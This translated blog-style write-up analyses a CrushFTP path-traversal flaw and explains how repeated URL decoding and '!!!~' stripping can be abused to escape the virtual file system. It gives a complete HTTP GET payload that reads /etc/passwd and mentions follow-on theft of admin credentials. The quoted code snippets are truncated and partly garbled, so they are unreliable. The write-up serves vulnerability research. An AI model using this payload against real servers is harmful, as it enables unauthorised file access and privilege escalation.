write in front
The content of this article may not be the latest vulnerability (after all, I don’t have the latest version of the code). It is a vulnerability updated in November last year. However, the analysis was put on hold for a long time due to various projects at that time. Pay attention to it again. Because I saw a new security bulletin, I remembered that I had not fully analyzed it at the time, so I continued the research from the previous work (of course, on the other hand, because I didn’t have the code for each version, I didn’t want to see the latest version of the vulnerability. In addition, the description of the vulnerability Chuuya can’t tell me anything)
Looking back again, we can see from the description that part of the exploit is to know the admin username, and the other part is to use a low-privilege account (or the system has anonymous access enabled) to escape the original VFS (Virtual File System) and read arbitrary files. In the end, it can achieve the effect of elevating rights.
As for why?This is because the configuration of this system, including usernames, passwords, and some hard-coded keys, are actually saved in the form of XML files.
User information is stored inusers/MainUsers/xxx
directory, so if we can read any file, then there is no doubt that we can decrypt the admin user’s information and successfully escalate the privileges.
Vulnerability analysis
Utilization of HTTP
Because this system supports many access methods, such as HTTP, FTP, etc., here we take the use of HTTP as an example (mainly to make it more interesting)
In fact, I mentioned the information about routing as early as in the previous article.
CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)
It can be easily seen from the above figure that the protocol parsing and calling are implemented here. The writing method is relatively rigid and not flexible enough (the specific process can be found incrushftp.server.ServerSessionHTTP
See the specific processing process), so since it looks really tortured, I am not going to take you through the code line by line here. We mainly share some key and interesting ideas.
First, we assume that we have a low-privilege account (or not needed if anonymous access is supported) and have permission to read some files.
Access to a shared file is actually accessed directly in the form of URL+file
At this time, the first thought we can think of is whether there will be a direct path through/Desktop/../../../../../etc/passwd
of course, it is not possible to access it directly like this here. It is specifically related to the program processing logic.
The corresponding file access function starts from line 1532 in the code (my version is 10.5). If you are interested, read it yourself.
First, the path is processed through the dots function.
1 |
public static String dots(String s) { |
You can see that he has done some processing on the path. We have not looked at the path processing of unc here, but it is of little use. The rest of the processing is
-
Decode the URL multiple times until it is completely decoded (if the decoded content is equal to the content before decoding, it is considered that there is no need to continue decoding)
-
If the path starts with ../, remove the ../ part. If the path ends with .., add / to the end of the path.
-
If there is ../ or ./ in the path, perform path normalization processing on it, and finally remove the ending ../ and /.
-
if exists in the path!!! and
(and request!!! inbefore), when / exists in the path, press / to perform segmentation processing, and traverse and delete the !!! and ~ respectively. -
Return the processed string
It is not difficult for us to think here that we can completely construct/.!!!~./etc/passwd
To achieve path traversal, but if it is just that, then this loophole lacks some interest
Next, if it is not/WebInterface/function
The route at the beginning will be calledcd
The path information corresponding to the function settings can be seen here and called again.Common.dots
I've done it once, so it's only been done twice now.
1 |
Common.dotsCommon.dots(user_dir); |
Don't worry, it's not over yet. Finally, when reading the file, it called againthis.fixPath(path);
The path has been processed, so far it has been used three times in a row.dots
The function performs path processing operations
1 |
public String fixPath(String path) { |
If you just look at the surface of the code, you may think it's over at first glance. It seems that it can't be bypassed?Here I recommend that you think about it carefully and see if you can find some clues.
catastrophe
I will announce the answer directly here. The breaking point lies in the process of url decoding. As mentioned just now, it will call urldecode multiple times to decode the string. Until the decoded content is consistent with the pre-decoded content, it is considered that there is no need to continue decoding.
1 |
for(String s2 = ""; s.indexOf("%") >= 0 && !s.equals(s2); s = s.replace('\\', "https://unsafe.sh/")) { |
The key to the problem here lies in this decoding function. He takes it for granted that the decoding library that comes with jdk will definitely not throw an exception. Therefore, if we can make the decoding process report an error, then this character will be returned.
1 |
public static String url_decode(String s) { |
I won’t explain it line by line here. The main reason is that it’s too late and I have to go to bed. I will publish the answer directly here. You can take a closer look at it yourself.
Here we access (Desktop is any accessible folder or file)
1 |
/Desktop/HackedByY4%/!!!~.!!!~./%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64 |
First path processing:
URL decoding error (%/. cannot be decoded) returns the original character directly and will be deleted later.!!!~
At this point the payload becomes
1 |
/Desktop/HackedByY4%/../%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64 |
Second path processing:
URL decoding error directly returns the original character, and then encounters../
After path normalization
At this point the payload becomes
1 |
/Desktop/%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64 |
Third path processing:
The url is successfully decoded, and the payload is
1 |
/Desktop//..!!!~/..!!!~/..!!!~/..!!!~/..!!!~/..!!!~/etc/passwd |
will be deleted later!!!~
successfully restored to the file we want to read, here due to/Desktop
The file has read permission, so through directory traversal we finally achieve the/etc/passwd
Reading realizes the escape of VFS
1 |
/Desktop/../../../../../etc/passwd |
Test payload
1 |
GET /Desktop/HackedByY4%/!!!~.!!!~./%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64 HTTP/1.1 |
Successfully achieved the/etc/passwd
Reading files
The next post-exploitation is to read the admin account password for decryption and log in to the background to achieve unauthorized access.
Utilization of FTP
I originally wanted to write about it but it was too late and I simply went to bed when I was tired. The way to use ftp is simpler. It does not have to process the path multiple times, only once. Here I will give the script directly and leave a small homework. Interested friends can analyze the use of FTP in Knowledge Week
1 |
from ftplib import FTP |
Go to sleep, go to sleep~~~
GIPHY App Key not set. Please check settings